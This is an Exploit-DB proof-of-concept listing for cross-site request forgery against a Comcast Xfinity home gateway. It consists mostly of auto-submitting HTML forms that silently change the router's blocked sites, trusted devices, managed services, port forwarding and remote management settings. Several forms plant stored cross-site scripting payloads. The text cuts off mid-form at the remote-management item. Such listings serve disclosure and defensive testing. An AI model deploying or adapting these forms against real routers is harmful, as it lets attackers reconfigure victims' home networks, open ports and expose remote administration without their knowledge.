Exploit-DB #40853
Description: Xfinity Gateway - Cross-Site Request Forgery
Type: webapps
Platform: hardware
Date: 2016-11-30
Author: Pabstersac

Exploit:
EXPLOIT TITLE: CSRF RCE XFINITY WEB GATEWAY
AUTHOR: Pabstersac
DATE: 1ST OF AUGUST 2016
CVE: N/A
CATEGORY: REMOTE
CONTACT: pabstersac@gmail.com

IF ANYONE HAS COMMUNICATION WITH VENDOR PLEASE NOTIFY THEM SINCE THEY HAVE IGNORED ME.
CSRF FOR COMCAST XFINITY WEB GATEWAY. LEADS TO RCE AND ACCESS TO THE NETWORK AND MORE.
VENDOR HAS BEEN NOTIFIED NUMEROUS TIMES BUT NO RESPONSE RECEIVED.

1) ADD BLOCKED SITE

<form name="x" action="http://10.0.0.1/actionHandler/ajaxSet_add_blockedSite.php" method="post">

<input type="hidden" name='BlockInfo' value='{"URL": "http://test1.com", "alwaysBlock": "true"}'>

</form>

<script>document.x.submit();</script>


2) ADD BLOCKED KEYWORD

<form name="x" action="http://10.0.0.1/actionHandler/ajaxSet_add_blockedSite.php" method="post">

<input type="hidden" name='BlockInfo' value=‘{“Keyword”: "http://test1.com", "alwaysBlock": "true"}'>

</form>

<script>document.x.submit();</script>


3) REMOVE BLOCKED SITE OR KEYWORD

<form name="x" action="http://10.0.0.1/actionHandler/ajaxSet_remove_blockedSite.php" method="post">

<input type="hidden" name='removeBlockInfo' value='{"InstanceID": "6"}'>

</form>

<script>document.x.submit();</script>


4) TRUST/UNTRUST DEVICES

<form name="x" action="http://10.0.0.1/actionHandler/ajaxSet_trust_computer.php" method="post">

<input type="hidden" name='TrustFlag' value='{"trustFlag": "true", "HostName": "test", "IPAddress": "10.0.0.82"}'>

</form>

<script>document.x.submit();</script>


5) DISABLE/ENABLE MANAGED SITES

<form name="x" action="http://10.0.0.1/actionHandler/ajaxSet_enable_manageSite.php" method="post">

<input type="hidden" name='Enable' value='{"Enable": "true"}'>

</form>

<script>document.x.submit();</script>


6) ADD MANAGED SERVICE (COMES WITH BONUS STORED XSS ;)

<form name="x" action="http://10.0.0.1/actionHandler/ajax_managed_services.php" method="post">

<input type="hidden" name='add' value='true'>
<input type="hidden" name='service' value='<img src=x onerror=alert(0)>'>
<input type="hidden" name='protocol' value='UDP'>
<input type="hidden" name='startPort' value='1234'>
<input type="hidden" name='endPort' value='1234'>
<input type="hidden" name='block' value='true'>

</form>

<script>document.x.submit();</script>


7) DELETE MANAGED SERVICE

http://10.0.0.1/actionHandler/ajax_managed_services.php?del=1


8) DISABLE/ENABLE MANAGED SERVICES

<form name="x" action="http://10.0.0.1/actionHandler/ajax_managed_services.php" method="post">

<input type="hidden" name='set' value='true'>
<input type="hidden" name='UMSStatus' value='Enabled'>


</form>

<script>document.x.submit();</script>


9) UNBLOCK DEVICE

http://10.0.0.1/actionHandler/ajax_managed_devices.php?del=2


10) ADD BLOCKED DEVICE (COMES WITH BONUS STORED XSS ;)

<form name="x" action="http://10.0.0.1/actionHandler/ajax_managed_devices.php" method="post">

<input type="hidden" name='add' value='true'>
<input type="hidden" name='type' value='Block'>
<input type="hidden" name='name' value='<img src=x onerror=alert(0)>'>
<input type="hidden" name='mac' value='xx:xx:xx:xx:xx:x2'>
<input type="hidden" name='block' value='true'>


</form>

<script>document.x.submit();</script>


11) ENABLE/DISABLE MANAGED DEVICES

<form name="x" action="http://10.0.0.1/actionHandler/ajax_managed_devices.php" method="post">

<input type="hidden" name='set' value='true'>
<input type="hidden" name='UMDStatus' value='Enabled'>



</form>

<script>document.x.submit();</script>


12) ADD PORT FORWARDING SERVICE (COMES WITH BONUS STORED XSS ;)

<form name="x" action="http://10.0.0.1/actionHandler/ajax_port_forwarding.php" method="post">

<input type="hidden" name='add' value='true'>
<input type="hidden" name='name' value='<img src=x onerror=alert(1)>'>
<input type="hidden" name='protocol' value='TCP/UDP'>
<input type="hidden" name='ip' value='10.0.0.82'>
<input type="hidden" name='ipv6addr' value='x'>
<input type="hidden" name='startport' value='123'>
<input type="hidden" name='endport' value='123'>

</form>

<script>document.x.submit();</script>


13) DELETE A PORT FORWARDING SERVICE

http://10.0.0.1/actionHandler/ajax_port_forwarding.php?del=5


14) EDIT EXISTING PORT FORWARDING SERVICES

<form name="x" action="http://10.0.0.1/actionHandler/ajax_port_forwarding.php" method="post">

<input type="hidden" name='edit' value='true'>
<input type="hidden" name='name' value=‘huhuhuh???New Name then …’>
<input type="hidden" name='protocol' value='TCP/UDP'>
<input type="hidden" name='ip' value='10.0.0.82'>
<input type="hidden" name='ipv6addr' value='x'>
<input type="hidden" name='startport' value='123'>
<input type="hidden" name='endport' value='123'>
<input type="hidden" name='ID' value='4'>


</form>

<script>document.x.submit();</script>


15) ENABLE/DISABLE PORT FORWARDING

<form name="x" action="http://10.0.0.1/actionHandler/ajax_port_forwarding.php" method="post">

<input type="hidden" name='set' value='true'>
<input type="hidden" name='UFWDStatus' value='Enabled'>



</form>

<script>document.x.submit();</script>


I’ll ignore port triggering cuz idc about port triggering . . .

16) CHANGE REMOTE MANAGEMENT SERVICE

<form name="x" action="http://10.0.0.1/actionHandler/ajax_remote_management.php" method="post">

<input type="hidden" name='http' value='true'>
<input type="hidden" name='httport' value='notset'>
<input type="hidden" name='https' value='true'>
<input type="hidden" name='httpsport' value='notset'>
<input type="hidden" name='allowtype' value='notset'>
<input type="hidden" name='startIP' value='notset'>
<input type="hidden" name='endIP' value='notset'>
<input type="hidden" name='telnet' value='notset'>
<input type="hidden" name='ssh' value='notset'>
<input type="hidden" name='startIPv6' value='notset'>
<input type="hidden" name='endIPv6' value='notset'>


</form